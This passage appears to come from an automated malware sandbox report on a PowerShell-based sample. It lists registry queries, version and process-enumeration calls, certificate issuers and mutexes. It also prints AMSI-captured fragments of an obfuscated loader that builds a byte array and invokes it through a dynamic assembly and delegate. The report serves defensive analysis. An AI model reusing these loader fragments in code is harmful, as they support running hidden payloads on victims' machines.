"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")33:T409,The input sample is signed with a certificate issued by "CN=E7, O=Let's Encrypt, C=US" (SHA1: BA:24:B6:7B:04:B5:14:85:94:88:E2:B7:C2:09:2A:F0:9D:8F:36:87; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3B:73:C1:7E:3D:F8:7C:F3:AA:77:F1:38:92:19:EB:5E:DD:51:9E:7F; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: AD:4E:43:A1:85:71:5B:F2:37:99:1A:00:2C:4E:0C:18:96:D1:1B:16; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)34:T1b2e,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005600) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005600) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006720) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006720) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acbc00fd7f0000000000000000000051edef01fd7f0000000000005c02000000000000000000002adefab3a13900002a00000000000000a01eb4735c0200008fecef01fd7f0000e0acbc00fd7f0000e0acbc00fd7f0000000000000000000000000000fc7f0000ffffff7f9f8a000000000000000000000000000000000000d8ceb000fd7f00002a0000000000000069c36900fd7f00003100000000000000f003000000000000f403000000000000110001100000000040d563258300000003a367fffc7f000040d563258300000000000000000000002b00000000000000000000000000000020b06f00fd7f0000b43f6e00fd7f0000e0ceb000 (UID: 00000000-00006720) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000c8715c0200000b8eed01fd7f00000000c8715c020000020000005c020000380000000000000040000000000000003003c8715c020000f8e24c2683000000010000000000000003000000000000000100000000000000160000000000000020107d715c020000000000000000000000007d715c020000a088c1735c0200000000000000000000460000000100000000000000000000008000000000000000040000000000000000000000000000000890c1735c02000004000000000000003800000000000000f09866fffc7f00003800000000000000380000000000000070e44c2683000000c00c8bc9fc7f000000000000 (UID: 00000000-00006720) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b02af1fc7f0000070000000000000000000000000000000100000000000000004ecb735c020000000000000000000070d1cd735c0200004c9866fffc7f000060eecd735c020000b3ce81c9fc7f0000f0d7cd735c020000004f2af1fc7f0000d0b02af1fc7f000000000000000000000000000000000000f0d7cd735c020000004ecb735c020000b0fccd735c020000c8e44c26830000004c9866fffc7f00000100000000000000c8e44c2683000000b0fccd735c020000f0d7cd735c020000010000000000000002bc81c9fc7f000080d5cd735c020000e028cc735c020000feffffff040000007df029f1fc7f0000f0f9cd73 (UID: 00000000-00006720) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000004ecb735c020000000000000000000070d1cd735c0200004c9866fffc7f000060f8cd735c020000b3ce81c9fc7f0000d0d3cd735c020000384f2af1fc7f0000d0b02af1fc7f000000000000000000000000000000000000d0d3cd735c020000004ecb735c020000b0fccd735c020000c0e44c26830000004c9866fffc7f00000100000000000000c0e44c2683000000b0fccd735c020000d0d3cd735c020000010000000000000002bc81c9fc7f00000000000000000000e028cc735c02000080d5cd7304000000feffffffffffffff004ecb735c0200007df029f1fc7f000000000000 (UID: 00000000-00006720) "powershell.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006720) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004824) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004824)35:Ta0a,"cmd.exe" queried SystemProcessInformation at 00000000-00005600-00000C15-1069954444 [PID: 5600] "cmd.exe" queried SystemProcessInformation at 00000000-00005600-00000C15-1069972172 [PID: 5600] "cmd.exe" queried SystemProcessInformation at 00000000-00005600-00000C15-1070251501 [PID: 5600] "cmd.exe" queried SystemProcessInformation at 00000000-00005600-00000C15-1070261740 [PID: 5600] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1070810797 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1070821893 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1072175707 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1072183547 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1073016681 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1073026504 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1073453890 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1073464177 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1073597005 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1073606120 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1074656338 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1075102216 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1075112122 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1076057579 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1076066783 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1078129352 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1078138495 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1078319707 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00006720-00000C15-1078331658 [PID: 6720] "powershell.exe" queried SystemProcessInformation at 00000000-00004824-00000C15-1081994764 [PID: 4824] "powershell.exe" queried SystemProcessInformation at 00000000-00004824-00000C15-1082002816 [PID: 4824]36:T1830,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 22611-159-0038D560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 22611-194-00388190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 22611-194-00388190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 22611-194-00388190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 22611-196-0038BFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 22611-207-00388AF0 "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004824.00000000.133271.02C00000.00000004.mdmp 00000000-00004824.00000001.135190.02C00000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004824.00000000.133271.02CE9000.00000004.mdmp 00000000-00004824.00000001.135190.02CE9000.00000004.mdmp 00000000-00004824.00000002.137113.02CE9000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004824.00000001.135190.047A0000.00000004.mdmp 00000000-00004824.00000002.137113.047A0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00004824.00000001.135190.07550000.00000004.mdmp 00000000-00004824.00000002.137113.07550000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00004824.00000001.135190.07550000.00000004.mdmp 00000000-00004824.00000002.137113.07550000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00004824.00000001.135190.07550000.00000004.mdmp 00000000-00004824.00000002.137113.07550000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp37:Tca7,Found string "$PediPALPS=0;$global:PrEDisTriBUtIon = GeT-cONtenT $orThoGrAnITE" (Indicator: "Get-Content"; File: "AMSI") Found string "Get-Command" (Indicator: "Get-Command"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Help" (Indicator: "Get-Help"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-FormatData" (Indicator: "Get-FormatData"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Module" (Indicator: "Get-Module"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Variable" (Indicator: "Get-Variable"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-PSBreakpoint" (Indicator: "Get-PSBreakpoint"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Content $file | more.com" (Indicator: "Get-Content"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Verb" (Indicator: "Get-Verb"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "$null = Read-Host '" (Indicator: "Read-Host"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string ".FORWARDHELPTARGETNAME Get-Help" (Indicator: "Get-Help"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Help @PSBoundParameters | more" (Indicator: "Get-Help"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Get-Member -type Properties -static |" (Indicator: "Get-Member"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "$null = Read-Host 'Press Enter to continue...'" (Indicator: "Read-Host"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Alias" (Indicator: "Get-Alias"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Content" (Indicator: "Get-Content"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-ChildItem" (Indicator: "Get-ChildItem"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-PSDrive" (Indicator: "Get-PSDrive"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-PSCallStack" (Indicator: "Get-PSCallStack"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-History" (Indicator: "Get-History"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Location" (Indicator: "Get-Location"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Member" (Indicator: "Get-Member"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-ItemProperty" (Indicator: "Get-ItemProperty"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Service" (Indicator: "Get-Service"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Get-Unique" (Indicator: "Get-Unique"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp")38:T91c,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e00630002000002557a000030d58571 (UID: 00000000-00006720) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000201400005c02000000000000000000000300000000000000c4679cdffc7f00001000000000000000100000000000000090ec74268300000080000000000000001000000000000000a169c3ddfc7f000000000000 (UID: 00000000-00006720) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000487bb9735c020000487bb9735c020000000000000000000024c24c268300000038c34c2683000000060000000000000094c24c26830000000000000000000000c4679cdffc7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169c3ddfc7f000068ab3774 (UID: 00000000-00006720) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000400000005c0200004097c2735c02000006000000000000000300000000000000a85463015c020000201400005c0200000000000000000000c4679cdffc7f0000100000000000000010000000000000000300000000000000c0c34c26830000001000000000000000a169c3ddfc7f000000000000 (UID: 00000000-00006720) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00004824) "powershell.exe" called "GetVersionExA" (UID: 00000000-00004824) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000002812ce040000c0020004000018000000000000000000000003000000020000000000c0020c000000000000000000000024ea110aee131b772812ce04ee131b7700000000000000000c00000048f96307010000003cea110a2823d4710000c002000000000c000000e8ab3f0548ea110a2f99426e0c000000 (UID: 00000000-00004824)39:T517,Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6720:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6720:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6720:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:6720:304:WilStaging_02" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6720:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6720:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4824:168:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4824:64:WilError_01" Process powershell.exe created mutex with name "SM0:4824:168:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:4824:168:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4824:168:WilStaging_02"3a:T101f,Found string "$PeDipALPs=0;$gloBaL:ForVEntEliGeS=NEW-oBject sYsTem.$skIffLEGrupPeRne" (Indicator: "New-Object"; File: "AMSI") Found string "$PeDIPaLPS=0;$GlobAL:SaddElTaget=(tEST-Path $ortHOGRAniTE)" (Indicator: "Test-Path"; File: "AMSI") Found string "$PedIpalPS=0;$GlOBAL:sADDEltAgET=(Test-PaTh $orThoGRAniTE)" (Indicator: "Test-Path"; File: "AMSI") Found string "$global:konservatoriet = New-Object byte[] ($tuscan.Length / 2)" (Indicator: "New-Object"; File: "AMSI") Found string "return $morgenavisens.Invoke($dicranaceous, @([Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($scribbleable.GetMethod($helmuth)).Invoke($dicranaceous, @($haunchy)))), $produktionsforhold))" (Indicator: "New-Object"; File: "AMSI") Found string "$global:drikkelsens = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName($brugervejlednings124)), $zeroises96).DefineDynamicModule($opsgtes, $false).DefineType($batists, $luning, [System.MulticastDelegate])" (Indicator: "New-Object"; File: "AMSI") Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "split-path $_.Path" (Indicator: "Split-Path"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string ",(new-object Microsoft.Powershell.Commands.EnhancedKeyUsageProperty -argumentlist $this).EnhancedKeyUsageList;" (Indicator: "New-Object"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp")3b:T410,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp")3c:T101b,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006720-00000C2D-1046513102] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006720-00000C2A-1071431327] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006720-00000C2A-1071529639] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006720-00000C2A-1071617660] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00006720-00000C2A-1071753241] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006720-00000C2A-1071802782] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006720-00000C2A-1071875703] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006720-00000C2A-1071945611] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00006720-00000C2A-1072033093] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00006720-00000C2A-1072081204] Observed system executable 